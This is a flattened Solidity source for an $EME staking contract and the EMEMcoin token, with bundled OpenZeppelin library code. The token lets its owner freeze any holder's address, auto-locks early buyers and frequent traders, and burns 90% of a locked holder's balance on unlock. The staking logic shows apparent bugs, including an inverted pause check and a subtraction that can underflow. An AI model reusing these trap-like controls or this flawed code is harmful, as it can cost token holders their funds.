// File: /contracts/StakingEME.sol



// SPDX-License-Identifier: MIT
// Staking Pools $EME
// https://emem.pro

pragma solidity ^0.8.20;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@emem/EMEMcoin.sol";

contract StakingEME is Ownable {
    uint256 public slot = 4e26; //400,000,000 $EME start
    uint256 halvingTime;
    uint256[] public totalPool = new uint256[](4); //max $eme in pool
    uint256[] public reserve = new uint256[](4); //reserve for pay
    uint256[] public paid = new uint256[](4); //sum withdraw $eme
    uint256[] public reward = new uint256[](4); //reward 1 sec
    uint256[] public points  = new uint256[](4); //score in pools for 1 slot
    uint256[] public periodDepositeDay  = new uint256[](4); //min perid deposite in pool 
    uint256 private day = 86400; //1 day = 86400 sec
    bool public pause;

    uint epoh = 1;
    address operator;
    address AddressCoin;
    EMEMcoin public coin;

    event Received(address, uint);

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    struct Users {
        uint256 score;
        uint256[] onDeposit;
        uint256[] lastTimePool;
        uint256[] lastTimeReward;
        uint256[] reward;
    }

    mapping(address => Users) private _user;
    mapping(address => bool) private checkOperator;

    constructor(address _AddressCoin){
        AddressCoin = _AddressCoin;
        coin = EMEMcoin(AddressCoin);
        checkOperator[msg.sender] = true;
        halvingTime = block.timestamp;
        periodDepositeDay[0] = 10;
        periodDepositeDay[1] = 30;
        periodDepositeDay[2] = 92;
        periodDepositeDay[3] = 365;
        points[0] = 6;
        points[1] = 8;
        points[2] = 10;
        points[3] = 12;
        totalPool[0] = 42528*1e24; //42,528,000,000 $EME
        totalPool[1] = 6048*1e25; //60,480,000,000 $EME
        totalPool[2] = 8096*1e25; //80,960,000,000 $EME
        totalPool[3] = 7884*1e25; //78,840,000,000 $EME
        reward[0] = 23148148148; //APR 73%
        reward[1] = 34722222222; //APR 109.5%
        reward[2] = 46296296296; //APR 146%
        reward[3] = 69444444444; //APR 219%
    }

//For only operator
    modifier onlyOperator() {
    require(checkOperator[msg.sender]);
    _;                              
    } 

//Deposite $EME
function depositeEME(uint typePool, uint256 amount) external {
    require(pause, "Error: $EME deposits in staking pools have been suspended!"); 
    require(typePool < 4, "Error: Non-existent staking pool!"); 
    uint256 realTime = block.timestamp;
    verifyHalving(realTime);
    require(amount >= slot/2, "Error: You can not deposit $EME less than the amount of 1/2 slot!"); 
    require(coin.balanceOf(msg.sender) >= amount, "Error: You are trying to deposit more $EME than you have!"); 
    Users storage user = _user[msg.sender];
    if (user.reward.length < 1) {
        regUser(msg.sender);
        }
    uint256 freeLimitsUser = (user.score / 10) * slot;
    for (uint i = 0; i < 4; i++) {
        freeLimitsUser -= user.onDeposit[i];
    } 
    require(freeLimitsUser >= amount, "Error: $EME token limit for staking on your account has been exhausted!");
    require(totalPool[typePool] - reserve[typePool]  > 0, "Error: All $EME tokens are currently reserved in this pool! There are no free slots!");
    reserve[typePool] += (periodDepositeDay[typePool] * day * reward[typePool] * (amount/1e18));
    user.score += (amount / slot) * points[typePool];
    if (user.lastTimePool[typePool] > 0) {
        uint256 timeIntervalRR = (user.lastTimeReward[typePool] - user.lastTimePool[typePool]);
        uint256 timeInterval = (realTime - user.lastTimePool[typePool]);
        if (periodDepositeDay[typePool] * day < timeInterval) {
            timeInterval = (periodDepositeDay[typePool] * day); 
        }
        timeInterval -= timeIntervalRR;
        user.reward[typePool] += (timeInterval * reward[typePool] * (user.onDeposit[typePool]/1e18));
        }
    user.lastTimePool[typePool] = realTime;
    user.lastTimeReward[typePool] = realTime;
    coin.transferFrom(msg.sender, address(this), amount);
    user.onDeposit[typePool] += amount; 
}

function takeReward(uint typePool, bool longEME, bool fire) external {
    Users storage user = _user[msg.sender];
    require(user.reward.length > 0, "Error: Nothing to withdraw, your wallet address was not found in the pools!"); 
    require(typePool < 4, "Error: Non-existent staking pool!"); 
    uint256 realTime = block.timestamp;
    uint256 forPaid = 0;
    verifyHalving(realTime);
    if (user.lastTimePool[typePool] > 0) {
        uint256 timeIntervalRR = (user.lastTimeReward[typePool] - user.lastTimePool[typePool]);
                user.lastTimeReward[typePool] = realTime;
        uint256 timeInterval = (realTime - user.lastTimePool[typePool]);
            if (periodDepositeDay[typePool] * day < timeInterval) {
                timeInterval = (periodDepositeDay[typePool] * day); 
                if ((totalPool[typePool] - reserve[typePool] > 0)&&(longEME)) {
                    user.lastTimePool[typePool] = realTime;
                    reserve[typePool] += (periodDepositeDay[typePool] * day * reward[typePool] * (user.onDeposit[typePool]/1e18));
                    user.score += (user.onDeposit[typePool] / slot) * points[typePool];
                }
                else {
                    if (!fire) {
                        forPaid += user.onDeposit[typePool];
                        user.lastTimePool[typePool] =  0;
                        user.lastTimeReward[typePool] = 0;
                        user.onDeposit[typePool] = 0;
                    }
                }
            }
        timeInterval -= timeIntervalRR;
        uint256 rewbuf = (user.reward[typePool] + (timeInterval * reward[typePool] * (user.onDeposit[typePool])/1e18));
        forPaid += rewbuf;
        paid[typePool] += rewbuf;
        user.lastTimeReward[typePool] = realTime;
    if ((fire)&&(!longEME)) {
        forPaid += (user.onDeposit[typePool]/2);
        coin.burn(user.onDeposit[typePool]/2);
        reserve[typePool] -= ((periodDepositeDay[typePool] * day - (user.lastTimeReward[typePool] - user.lastTimePool[typePool])) * reward[typePool] * (user.onDeposit[typePool]/1e18));
        user.score -= (user.onDeposit[typePool] / slot) * points[typePool];
        user.lastTimePool[typePool] =  0;
        user.lastTimeReward[typePool] = 0;
        user.onDeposit[typePool] = 0;
    }
    }
    require(forPaid > 0, "Error: Nothing to withdraw!"); 
    user.reward[typePool] = 0;
    coin.transfer(msg.sender, forPaid);
}

function regUser(address _newuser) internal {
        _user[_newuser].score = 40;
        for (uint i = 0; i < 4; i++) {
            _user[_newuser].onDeposit.push(0);
            _user[_newuser].lastTimePool.push(0);
            _user[_newuser].reward.push(0);
            _user[_newuser].lastTimeReward.push(0);
        } 
}

function verifyHalving(uint256 _realtime) internal {
        if ((epoh != 3)&&(_realtime - halvingTime > 180 * day)) {
            epoh += 1;
            halvingTime = _realtime;
            slot = slot/2;
        }
}

//Withdraw randomly deposite Ethereum
function withdrawETH(address _to, uint256 _amount) external payable onlyOperator {
        require(payable(_to).send(_amount));
}

//set section
//on-off deposite
function onOff() external onlyOwner {
    pause = !pause;
}

//Set operator
function setOperator(address _operator) external onlyOperator {
    checkOperator[_operator] = true;
}

//Change user score
function changeScore(address _to, uint256 _score, bool _type) external onlyOperator {
    if (_type) {
        _user[_to].score += _score;
    }
    else {
        if (_user[_to].score - _score > 0) {
            _user[_to].score -= _score;
        }
        else {
            _user[_to].score = 0;
        }
    }
}


//Read section
//Participant data card
function getUsers(address _wallet) public view returns (Users memory) {
        Users storage user = _user[_wallet];
        return user;
    }

function getConfig() public view returns (uint256[] memory) {
        uint256[] memory bufMas = new uint256[](9);
        for (uint i = 0; i < 4; i++) {
                bufMas[i] = reserve[i];
                bufMas[i + 4] = paid[i];
            }
        bufMas[8] = epoh;
        return (bufMas);
}
}
// File: @openzeppelin/contracts/utils/Context.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: @openzeppelin/contracts/access/Ownable.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @emem/EMEMcoin.sol



// SPDX-License-Identifier: MIT
// EMEMcoin $EME
// https://emem.pro
// https://twitter.com/ememcoin
// https://t.me/ememcoin

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pragma solidity ^0.8.19;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EMEMcoin is ERC20, Ownable {
    uint256 public burned;
    uint256 private before;
    bool public limit;
    uint private gap;
    address public uniswapV2Pair;
    mapping(address => bool) public lock;
    mapping(address => uint256) public lasttime;
    mapping(address => bool) private _label;

    event Burn(address indexed from, uint256 amount);

    constructor () ERC20 ("EMEM Coin", "EME") {
        _mint(msg.sender, 82*1e28); //Total supply: 820,000,000,000 $EME
    }

function burn(uint256 amount) external {
        require(balanceOf(msg.sender) >= amount, "There are not enough tokens on your balance!");
        _burn(msg.sender, amount);
        burned += amount;
        emit Burn(msg.sender, amount);
    }    

function _beforeTokenTransfer(address from, address to, uint256 amount) override internal virtual {
        require(!lock[from], "Sender blocked!");
        require(!lock[to], "Recipient blocked!");

        if ((block.timestamp < before)&&(from != owner())&&(to != owner())) {
            autoLock(to);
            lasttime[to] = block.timestamp;
            }
            else {
                if ((gap > 0)&&(to != from)&&(uniswapV2Pair != address(0))) {
                if (from == uniswapV2Pair) {
                    if (limit && amount > 41*1e27) {autoLock(to);}
                    if (_label[to]) {autoLock(to);}
                    if (block.timestamp - lasttime[to] < gap) {
                    _label[to] = true;
                    }

                lasttime[to] = block.timestamp;
                }
                if (to == uniswapV2Pair) {
                    if (limit && amount > 41*1e27) {autoLock(from);}
                    if (_label[from]) {autoLock(from);}
                    if (block.timestamp - lasttime[from] < gap) {
                    _label[from] = true;
                    }
                lasttime[from] = block.timestamp;
                }
                }
                }
}

function autoLock(address _address) internal {
        lock[_address] = true;
}    

function manualLockUnlock(address _address) external onlyOwner {
        lock[_address] = !lock[_address];
        _label[_address] = false;
}

function setUNI(address _uniswapV2Pair) external onlyOwner {
        uniswapV2Pair = _uniswapV2Pair;
}

function unLock() external {
        require(lock[msg.sender], "This address is not blocked!");
        require(block.timestamp > lasttime[msg.sender] + 864000, "Less than 10 days have passed since the blocking!");
        uint256 forBurn = (balanceOf(msg.sender) / 10) * 9;
        lock[msg.sender] = false;
         _label[msg.sender] = false;
        _burn(msg.sender, forBurn);
        emit Burn(msg.sender, forBurn);
        burned += forBurn;
}

function setGap(uint _gap) external onlyOwner {
        gap = _gap;
}    

function setBefore(uint256 _before) external onlyOwner {
        require((before == 0)&&(_before - block.timestamp < 900), "The delay for blocking addresses is already set or the delay to be set is more than 15 minutes!");
        before = _before;
}   

function OnOffLimit() external onlyOwner {
        limit = !limit;
}

}